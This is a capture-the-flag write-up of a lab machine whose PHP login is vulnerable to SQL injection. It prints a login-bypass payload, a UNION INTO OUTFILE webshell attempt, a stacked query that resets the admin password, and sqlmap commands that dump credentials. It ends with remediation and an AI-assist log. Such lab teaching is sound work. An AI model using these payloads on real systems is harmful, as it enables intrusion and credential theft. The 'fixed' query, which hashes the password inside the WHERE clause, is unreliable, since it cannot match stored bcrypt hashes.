Box info | OS: Linux Debian 10 (Apache/2.4.38) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: SQL injection, authentication bypass, blind SQLi, sqlmap Pwned: 2026-04-28

TL;DR

Appointment is a Tier 1 web box running Apache 2.4.38 on Debian 10 with a PHP login form backed by MariaDB. The username POST parameter is directly interpolated into a SQL query with no sanitization. A classic ' OR '1'='1' -- - payload bypasses authentication and triggers the flag to appear in the HTTP response. Going deeper with sqlmap confirms boolean-based blind injection, extracts the appdb database schema, and dumps two user records — including a plaintext password for a test user. The lesson: unsanitized SQL interpolation in authentication queries is still widespread, and it can be exploited by any attacker who knows three characters: ', --, and 1.

Recon

1. Liveness check

$ ping -c 2 10.129.36.228
Request timeout for icmp_seq 0
100% packet loss

ICMP filtered. Use -Pn.

2. Port sweep

$ nmap -Pn -T4 -p 1-10000 --min-rate=1000 10.129.36.228
PORT   STATE SERVICE
80/tcp open  http

Single open port: 80/tcp. All other ports return connection refused.

3. Service detection

$ nmap -Pn -sV -sC -p 80 10.129.36.228
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)

Apache 2.4.38 on Debian 10 (Buster). The page title is “Login” — the root URL serves a login form directly.

4. Web application fingerprint

whatweb http://10.129.36.228/
# → Apache/2.4.38 (Debian) | Title: Login | Content-Type: text/html; charset=UTF-8

No JavaScript frameworks, no CMS. Simple PHP application. The form sends username and password via POST to /.

Foothold

Dead end #1 — first scan missed the host

$ nmap -sV -sC -p 22,80,443,8080 10.129.36.228
All ports filtered.

Nmap without -Pn treats ICMP-filtered hosts as down and skips them. Adding -Pn (skip host discovery, treat as up) fixes this. On HTB, -Pn is almost always required.

Dead end #2 — INTO OUTFILE webshell

After confirming SQLi, attempted to escalate to RCE via file write:

username=xxx' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3 
  INTO OUTFILE "/var/www/html/shell.php"-- -&password=test

The query executed successfully (no error), but accessing /shell.php returned 404. Investigation via time-based blind injection confirmed:

username=admin' AND IF(@@secure_file_priv IS NULL, SLEEP(3), SLEEP(0))-- -&password=test
# → 3.083 second delay — confirmed secure_file_priv IS NULL

When secure_file_priv is NULL (distinct from empty string ""), MySQL/MariaDB blocks all LOAD FILE and INTO OUTFILE operations regardless of user permissions. No file read/write via SQL is possible.

Dead end #3 — stacked queries for code execution

username=admin'; UPDATE users SET password='hacked' WHERE username='admin';-- -

No error, no effect. PHP mysqli_query() (not mysqli_multi_query()) does not support multiple statements in a single call. Stacked queries are silently ignored.

Working approach — authentication bypass via OR injection

The login query likely looks like:

SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]';

Injecting admin' OR '1'='1' -- - transforms this to:

SELECT * FROM users WHERE username='admin' OR '1'='1' -- -' AND password='test';

The comment (-- -) removes the password check. '1'='1' is always true. The WHERE clause matches every row. The application receives a result, considers the login successful, and renders the post-login page.

curl -s -X POST http://10.129.36.228/ \
  -d "username=admin' OR '1'='1' -- -&password=test"

Response:

<h2 class="w3-center">Congratulations!</h2>
<p class="w3-center">Your flag is: [REDACTED]</p>

Deeper enumeration with sqlmap

sqlmap -u "http://10.129.36.228/" \
  --data="username=admin&password=test" \
  -p username \
  --string="Congratulations" \
  --technique=B --level=2 --risk=1 --batch --dbs

Discovered databases:

  • appdb
  • information_schema

Table structure of appdb.users:

+----------+---------------------+
| Column   | Type                |
+----------+---------------------+
| id       | bigint(20) unsigned |
| username | text                |
| password | text                |
+----------+---------------------+

Dumped user data:

+----+---------------------------------------------------+----------+
| id | password                                          | username |
+----+---------------------------------------------------+----------+
| 1  | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin    |
| 2  | bababa                                            | test     |
+----+---------------------------------------------------+----------+

Passwords stored in plaintext. The admin password is a complex random string (ironically, more secure than most passwords). The test user has bababa — trivially guessable.

Privilege Escalation

N/A — Starting Point Tier 1 box with web-only attack surface. Port 22 returns connection refused. No other services exist. The SQL injection provides database read access but not OS-level access (no INTO OUTFILE, no stacked queries, no UDF injection possible with secure_file_priv=NULL).

What’s actually broken

  1. Unsanitized SQL query construction. The PHP code concatenates user input directly into a SQL string. This is the quintessential CWE-89 (SQL Injection) — the most fundamental web security failure, described in OWASP since 2004.
  2. Passwords stored in plaintext. The password column in appdb.users holds cleartext passwords. Even if SQLi is fixed, a separate dump of the users table (via another SQLi or insider threat) exposes every password immediately.
  3. No rate limiting on login attempts. Unlimited POST requests are accepted. An attacker can brute-force credentials without throttling.
  4. Error messages reveal database type. Time-based blind injection (SLEEP(3)) confirming MySQL/MariaDB narrows the attacker’s approach before any public fingerprinting.

Remediation (the boring half)

Use parameterized queries (prepared statements):

// VULNERABLE:
$query = "SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'";

// FIXED:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], password_hash($_POST['password'], PASSWORD_BCRYPT)]);

Hash passwords with bcrypt:

// On registration:
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT, ['cost' => 12]);

// On login:
if (password_verify($plaintext_password, $stored_hash)) { /* success */ }

Add rate limiting (fail2ban for Apache):

# /etc/fail2ban/jail.local
[apache-auth]
enabled = true
maxretry = 5
findtime = 300
bantime = 3600

Suppress detailed error messages:

// php.ini or .htaccess
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service DiscoveryPort scan finds Apache on 80/tcp
Initial AccessT1190 — Exploit Public-Facing ApplicationSQL injection bypasses login authentication
Credential AccessT1552.001 — Credentials In FilesPlaintext passwords dumped from appdb.users via sqlmap
CollectionT1005 — Data from Local SystemFlag returned in HTTP response after auth bypass

Lessons learned

  • SQL injection is still everywhere. OWASP Top 10 has listed injection flaws at #1 or #3 for twenty years. It persists because developers concatenate strings instead of using prepared statements.
  • secure_file_priv=NULL blocks file operations even for privileged users. When you see INTO OUTFILE fail with no error but no file created, check @@secure_file_priv. NULL = completely disabled (not the same as ""= unrestricted).
  • Boolean-based blind SQLi requires only two inputs. You don’t need error messages or UNION output. Two different response sizes (365 bytes vs 1071 bytes here) give you a binary oracle for extracting any data from the database one bit at a time.
  • Time-based SQLi confirms database type. SLEEP(3) works on MySQL/MariaDB. pg_sleep(3) for PostgreSQL. WAITFOR DELAY '0:0:3' for MSSQL. Knowing the database type immediately guides which injection payloads to try.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
secure_file_priv NULL vs empty“Why did INTO OUTFILE fail silently with secure_file_priv IS NULL?”Explained the semantic difference: NULL = file operations completely disabled by the DBA; '' (empty string) = unrestricted; /path = restricted to that directory. MySQL/MariaDB treats NULL as the most restrictive setting.Added the SLEEP-based confirmation technique and the explanation to Dead end #2.
stacked queries in PHP“Why don’t my stacked queries work in this PHP app?”Explained: mysqli_query() executes only the first statement; mysqli_multi_query() is required for multiple statements and is rarely enabled. PDO has similar behavior with emulate_prepares=false.Used in Dead end #3 with the PHP function name.
sqlmap parameters“What sqlmap flags do I need for boolean-based blind only?”--technique=B --level=2 --risk=1. Explained that --string="Congratulations" is the positive match indicator. --batch suppresses interactive prompts.Used directly in the sqlmap command.
plaintext password risk“Admin has a strong random password in plaintext — is that still a vulnerability?”Yes — plaintext storage means a database breach exposes all passwords immediately regardless of complexity. A 128-bit random password in plaintext is still worse than a bcrypt hash of ‘password123’.Added the nuance to the “What’s actually broken” section.

What Claude got wrong: Nothing significant. What Claude couldn’t do: Execute SQL against the target; all commands ran locally. Net assist value: High on SQL semantics (secure_file_priv, stacked queries); medium on tool parameters.

References